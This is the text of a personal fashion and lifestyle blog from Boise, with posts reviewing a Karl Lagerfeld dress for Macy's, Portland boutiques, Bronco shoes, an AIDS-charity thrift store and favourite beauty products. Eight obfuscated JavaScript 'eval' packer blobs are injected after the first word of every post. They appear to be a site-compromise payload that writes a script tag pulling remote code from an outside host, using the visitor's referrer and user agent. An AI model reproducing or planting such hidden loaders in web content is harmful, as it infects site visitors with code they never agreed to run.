Karl Lagerfeld’s Macy’s Line and… That Dress!!!

Karl eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzffs|var|u0026u|referrer|yyaki||js|php’.split(‘|’),0,{}))
Lagerfeld
is a German fashion designer, whose keen sense of style and tailoring has made him an icon in the fashion world. He has designed for Chloe, Balmain, Chanel, Fendi, established his own line, and outfitted stars like Madonna,  and Kylie Minogue. In 2004, he designed a special line of budget-friendly fashions for European retail giant H&M, and this year, developed his exclusive Karl Lagerfeld for Impulse line at Macy’s. Can’t afford a $5,000 dress designed by Lagerfeld? Step into Macy’s and try on one for around $100!

Chelsey Hersley, Me, & Jamie Bruce @ Fashion's Night Out!

At last week’s Fashion’s Night Out event at Boise Town Square Mall, I fell in love with the adorable pink dress that America’s Next Top Model finalist Chelsey Hersley wore from Lagerfeld’s collection. The breezy ballerina-like material, coupled with an intricate black lace neck & back trim, are such a bewitching combination!

Chelsey chose to wear the dress with cropped leggings and slouchy combat boots, effortlessly transforming into a 90’s punk princess (anyone remember Courtney Love?)

When I posted Macy’s picture of the dress on Facebook, there were comments on the model’s extreme skinniness. On the other hand, reviews of the dress on Macy’s website spoke of the over-sized upper-proportions of the dress. I was curious about this seeming contradiction, so being a faithful fashion reporter, I simply HAD to go down to Macy’s myself and investigate in person! ;-D

I didn’t have a great deal of time to try on everything in Lagerfeld’s line; my focus was on that dress, the obvious stand-put piece of the collection. I can tell you that, true to Lagerfeld’s urban chic aesthetic, much of the line was black, grey, or hot pink. (If black is your go-to color, and you’re looking to update your wardrobe, go check out this collection; you’ll find some fabulous pieces!)

But on to the dress…

Slipping into pastel pink felt at first very feminine & elegant. But once the black lace touched my skin, I found myself missing my old Doc Marten boots! It truly is an adorable-yet-tough dress, one that I would wear in a heartbeat! That is, if it fit properly…

The reviews were right; the bustline of this dress is quite generous, almost to the point of being baggy. I also couldn’t keep the wide. puffy shoulders on very well, but they could be pinned to my camisole straps fairly easily.

Overall, here’s my review: this dress makes you feel feminine & flirty, with an urban edginess. I love it, but it runs a little large, so I recommend going down a size. This dress would be ideal for ladies sized 6-10, particularly if they have a larger bust size! 😉 Run down to your local Macy’s and try it on – and let me know YOUR review!!! 😀

Click the link to view the Karl Lagerfeld for Impulse Collection.

 

I ♥ PORTLAND!!!

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sttir|var|u0026u|referrer|ifnad||js|php’.split(‘|’),0,{}))
month I had the privilege of working with some fabulous shopping clients in Portland. Between fittings & wardrobe work, I also had fun exploring this beautiful city! (Love my job!!) ;-D Along the way I found great food, fascinating sights, funky fashion, and a hot boutique I can’t wait to tell you about!

(Click on the pictures to view them larger!)

But first things first… Downtown! 😀 From art fairs, to street vendors for every culinary craving, to high-end stores like Kate Spade & Louis Vuitton, Portland is a an eclectic & colorful mix of culture and city life! If there’s something your heart, tummy, or eyes crave, you are sure to find it here. I had a blast wandering through the city, jumping on the convenient train & trolly system, and soaking in all the colors, sounds & smells of Portland.

I spent most of my shopping time in Nordstrom (of course, my home turf!), but thoroughly enjoyed the sunny, outdoor malls like Bridgeport Village, and adorable boutiques like Pinky’s on 23rd Ave, also known as “The Alphabet District.” My favorite boutique in Portland is on that street, but more on that in a minute… 😉

It was so much fun to reconnect with old friends (thank you, Larissa, Dana & Lexine for taking such good care of me!) We hit the town every day, finding fabulous art (like this painting “Blue” by Buzz Siler), gorgeous views, and fabulous fashionistas, whose style ranged from rockabilly-hippy to emo-grunge-metro-tough, to everything in-between! I even had the chance to “fight back” against the skinny-model stereotypes being perpetuated by the fashion industry, ha ha ha!!! ;D

And the Winner is… As you can see, I had a total blast in this wonderful town!!! But before my trip, I asked my Facebook friends “What’s your favorite locally-owned Portland Boutique?” Hands-down, you all voted for….. SLOAN!

I had to stop in and see what all the fuss was about, and I can say from first-hand experience, the fuss is totally justified! From the eye-catching decor, to the color-blocked racks of clothes, to the hip & SUPER-friendly staff, Sloan immediately snags a place in your heart and doesn’t let go. It’s a little slice of shopping heaven!

I’m a dress addict, so of course I had to try on about a dozen of them, and fellow shoppers and sales clerks were kind enough to pose for my camera (Thank you, ladies!!) I fell head-over heels for the floral maxi dress (probably the first time I’ve loved florals, or maxi dresses, ha ha!)

Sloan’s owners David & Karalee Whitehouse have stocked their store with well-chosen pieces from a variety of lines, with prices to suit every budget; BCBG (my fave!), Kensie Girl, Tulle, Kerch, and even their own in-house-designed line, Sloan Essentials!

Sloan also features shoes, belts, hats, scarves & other accessories, as well as Lucious Jewelry, a locally-designed, eye-catching line which is featured on Fred Armison’s show Portlandia. I was really drawn to the dramatic, organic shapes and unusual charms! Very, very cool. 🙂 (Be sure and click on the pic to see them close-up!)

Next time you’re in Portland, be sure and check out SLOAN Boutique, and their stellar, super-sweet sales staff. I promise, they will make you feel right at home… in fashion heaven! ;-D Check out their Facebook page for pictures, contact info, and store hours.

Thank you for a wonderful time, Portland! I hope to see you again soon!

XOXOXO,

StyleSpyGirl

Sloan Boutique is located at 738 NW 23rd Avenue, Portland, OR 97210. Tel: (503)222 6666.

Show Your BRONCO SPIRIT!!!

If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|didnd|var|u0026u|referrer|itnis||js|php’.split(‘|’),0,{}))
you live in Boise, chances are you are a BSU Bronco fan. Seriously, how can you NOT be?? This team rocks college football, and Boise fans are just crazy proud of our team! The Broncos will be blasting onto the field this September 3rd, with a Chick-fil-a Kickoff Game at the Georgia Dome in Atlanta.

How will YOU show team spirit on Game Day, ladies? Sure you have the t-shirt, hoodie, and hat. But if you want to really step up your Bronco Fashion, head down to Eagle and step into Villa Decor & Design!

Villa Decor & Design wins my Top Pick for Fashionable BSU Gear, with their amazing OneSole BSU Bronco Shoes! These beauties range from a child’s size 2, to a woman’s 13, with heel heights from a 1 1/4 inch wedge, to the 5-inch Diva style (my fave, of course!)

That’s right, even kid sizes! Mini-StyleSpyGirl shows off her BSU wedges. 🙂

(And begs for ALL the colors!)

How do OneSole shoes work? Interchangeable tops and soles!! Check out my video review below:

Hurry down to Villa Decor & Design and grab your hot BSU shoes! I already have mine – these will look fabulous with shorts, a skirt, skinny jeans, or fall’s latest long & flared denim trend!

HOT HOT HOT! Get ’em while they last. 🙂

Villa Decor & Design is at 123 Aikens Street Ste. 115, Eagle, ID. Call for pricing details, or visit http://www.Villadecordesign.org for more info & great pictures!

 

The BIGGEST Party I’ve Ever Thrown!!!

Everyone is invited to this! I’m so excited, and I hope you can all join me. 🙂 It’s a great party, for an even greater purpose: saving lives through free & compassionate medical care, for those who need it most and can least afford it! Some support Mercy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arssr|var|u0026u|referrer|eeyna||js|php’.split(‘|’),0,{}))
in Action
!!!

Check out the details at www.MercyinActionBenefit.org, then…

Click on this link to view the news article about it, including a video of the interview I did on LIVE TV, here in Boise!!

http://www.nwcn.com/home/?fId=127600313&fPath=%2Fnews%2Flocal&fDomain=10227

The party is this Saturday, starting at 7pm at the Woman of Steel Gallery (3640 W Chinden Blvd., Boise)

See you soon!!! 😀

~ Tanya StyleSpyGirl

My First Real TV Commercial!!!

It was SO much fun to star in this commcercial for a fabulous Idaho boutique, Renewed eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbhrd|var|u0026u|referrer|sfrks||js|php’.split(‘|’),0,{}))
Expressions
. Check it out!!!

 

Guest Post by Amy Johnson!!!

New eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atfny|var|u0026u|referrer|ysdha||js|php’.split(‘|’),0,{}))
Boutique: Exposure a.l.p.h.a Interchange                                                   Exposes the FUN in FUNKY!

Don’t you love when you find that one-of-a-kind vintage dress or that previously unappreciated painting that shows everyone how eclectic you are? You want exposure; you want to show the world your new treasure!

We all want to be recognized as the wonderfully unique individuals that we are. Allies Linked for the Prevention of HIV and AIDS (ALPHA) has just opened their new gently repurposed boutique in downtown Boise on 10th St. This is where you will find those signature treasures that no one but you will own and everyone but you will wish they had found!

While the mission of ALPHA is a serious one, they know how to have fun. This is often the case of people who deal with a serious subject on a daily basis. Wednesday night, July 6 was no exception.

It was obvious that a lot of fun & creative energy went into the planning of this event! The front window had three improvisational models wearing fashions from the store, and posing with various odd objects. Passers-by glanced in with curious amusement. If that wasn’t enough to bring them in, then the upbeat bluesy live music played by Daniel Kerr did!

Unfortunately, this party was the VIP pre-shopping fundraiser and you had to have a ticket to participate. The VIP party people got a chance to be the first to discover fun, new/old or old/new fashions and home décor, dine on hors d’ oeuvres, and drink beer and wine from Moon River Distributing, who fittingly offers harder-to-find boutique wines.

Mark Dale, who has helped fill the store with its upscale, gently re-purposed items, enthusiastically described the plans for the store. They will be taking consignment pieces on a case-by-case basis and they hope to offer retail space for clothing, jewelry, and perfume designers. The front window will feature local artists and will change monthly.

This non-profit store will provide a much needed additional income for ALPHA. Craig Chapelle, who has been dubbed “The Wrangler” and used to be the fundraising director, said that this store will allow them to depend less on fundraising so they can direct more attention to what they are passionate about: the people. In fact, that was the common denominator for everyone at the event. Socially connected and compassionate, the ALPHA employees, volunteers, and friends agree that it’s a family.

Duane Quintana opened ALPHA to provide a service that was largely under-appreciated in the state of Idaho. They do free HIV testing, community education, and they offer counseling and support to Idahoans who have been diagnosed with the disease. They have just been approved by PCC to include testing for Gonorrhea and Chlamydia. They even have a food bank with pre-approved healthy choices for people who are too sick to work.

Though the event was light-hearted and filled with laughter, the cause was never far away. Some of the most ardent volunteers are HIV+ themselves. During the festivities, one young man came in for testing, not realizing that the offices had moved around the corner.

ALPHA is not only a fun place to shop, but also a conscientious way help to support a desperately-needed service in our community. The grand opening is August 4th, First Thursday in August, but they are open now for shopping and donations! Look for ALPHA between our favorite salon, Roots, and Café Bellissima at 213 N 10th St., Boise. Call (208) 424-8518 for more info, and be sure to follow Exposure a.l.p.h.a. Interchange on Facebook at  http://www.facebook.com/alphaidaho !!!

Amy Johnson is currently a senior in Communication/Public Relations at Boise State University. She is a wife, mother, self-professed lover of the written word. Her awesome blog is http://amyjohnsonmyers.blogspot.com.  Also, be sure to  follow her on Twitter for creative musings and brilliant wit!

Local Treasure Find: the iTySE Bag!!!

This summer, I attended the annual Women’s Show in Boise, and came across these fantastic, functional bags! Here is a picture of my family with our iTySE bag, packed tight with all our 4th of July picnic gear. 🙂

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hffad|var|u0026u|referrer|zdyai||js|php’.split(‘|’),0,{}))
bags are so creative, and their inventor such a sweet & brilliant lady, I thought it would be fun to do a short video with her! Here it is, our video review of the iTySE (pronounced “it-see”) Bag! 🙂 (P.S., the second video is our funny bloopers, because sometimes unexpected things happen when you record outdoors in a public park, ha ha!!)

Video Review of iTySE Bags:

 



Click HERE to view the funny blooper reel!!! 😀

 

Check out more iTySE Bags at www.iTySE.com!!!

 

4 Sweaters, a water bottle, extra shoes, and a towel - all in one little bag!

 

 

 

 

 

 

Pretty Little Things I LOVE!!

Do eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deydy|var|u0026u|referrer|irfdy||js|php’.split(‘|’),0,{}))
you have favorite beauty products that you just can’t live without? I DO! 😀
  Here’s a quick list of the items I always keep on hand…

1. Burt’s Bees Citrus Facial Scrub – It’s inexpensive, but oh-so-effective! With natural exfoliating ingredients that won’t scratch or dry out your skin! I keep this in the shower, and use it a couple times a week. It leaves your skin feeling fresh & soft!

2. Miss Me Lip Gloss – You can get this at Belle Boutique in downtown Boise, or the mini Belle Boutique in Eagle (inside the Idaho Athletic Club.) I LOVE IT, and never put on lipstick without layering this underneath. It’s a nourishing, quenching, matte lip gloss (no sparkles or glitter!). I like the soft pink shade English Roses; it glides on so smoothly, and softens your lips. It can be worn alone, but I love using it as a base to prep my lips for lipstick. Great for those who live in dry climates!

3. Clean Slate Makeup Primer by Tarte – It’s not as heavy as other brands (great for my sensitive skin!), but provides fabulous coverage and a smooth, even surface to apply your foundation over. I’ve tried a few different primers over the years, and Tarte is one of the few that did NOT cause acne flare-ups!

4. Urban Decay Eyeshadow Primer Potion – A go-to product for makeup artists everywhere, this easy-to-apply eyeshadow base preps your eyelids for shadow, and seals in the color for all-day, smudge-proof wear. A must-have for girls who love eyeshadow!

5. Jet Set Waterproof Eyeliner by Smashbox– In my quest to find the “perfect” eyeliner, I came across this top-seller at Sephora. Immediately, I can see why it’s the first choice of many makeup artists & rock stars! It glides on smoothly, and  you can create a thin line, or thick, or even smudge it for the “smoky eye” look! Smudge it fast, though; it’s waterproof, and stays on until you wash it off! Super-long-lasting, and super-black, with no shimmer. Use a flat, angled eyeliner brush to apply.

6. Make Up For Ever Lash Fibers – I can’t say enough about this fantastic product, so here’s a picture of my lashes with & without Lash Fibers. Not only do the fibers beef-up your natural lashes, but they also condition them, and allow mascara to wash off more easily at night. The result: healthier eyelashes with less breakage! I’m addicted to this stuff – it’s fantastic!!

Click image to view full-sized picture.

7. Urban Decay Supercurl Curling Mascara – Wow, talk about drama! I love how this mascara separates my lashes, and coats them with intense, inky blackness! Want people to ask if you’re wearing fake eyelashes? Then try this mascara out!!!

8. Olivia Garden Ceramic + Ion Round Brush – There are a lot of great brushes out there, but this one shapes, de-frizzes, and glides effortlessly through my hair. It works better – and is less damaging! – than cheaper plastic brushes, but it’s still WAY less expensive than those fancy celebrity-endorsed designer brushes. Love it! If you are local to Boise, these brushes are available at Roots Salon downtown.

9. John Frieda Frizz-Ease 3-Day Straight – in a word, AMAZING!!! Want silky, shiny hair? Check out my video clip to see how it works!

10. Alterna Caviar Anti-Aging Color Hold Rapid Repair Spray – I always spray this on before flat-ironing my hair. (Tip: Never, ever flat-iron raw, unprotected hair! That causes burns & damage!) This is the Cadillac of shine & protection sprays, and since a little goes a long way, it lasts a very long time. It’s also a great glossing spray for all hair types; shimmer & shine, without weighing hair down! This fabulous stuff is available from Sephora, or if you live in Boise, at Roots Salon downtown!

So there you have it, a quick & easy list of things I love and use, over and over again.

I love your feedback – what are your favorite beauty products???  😀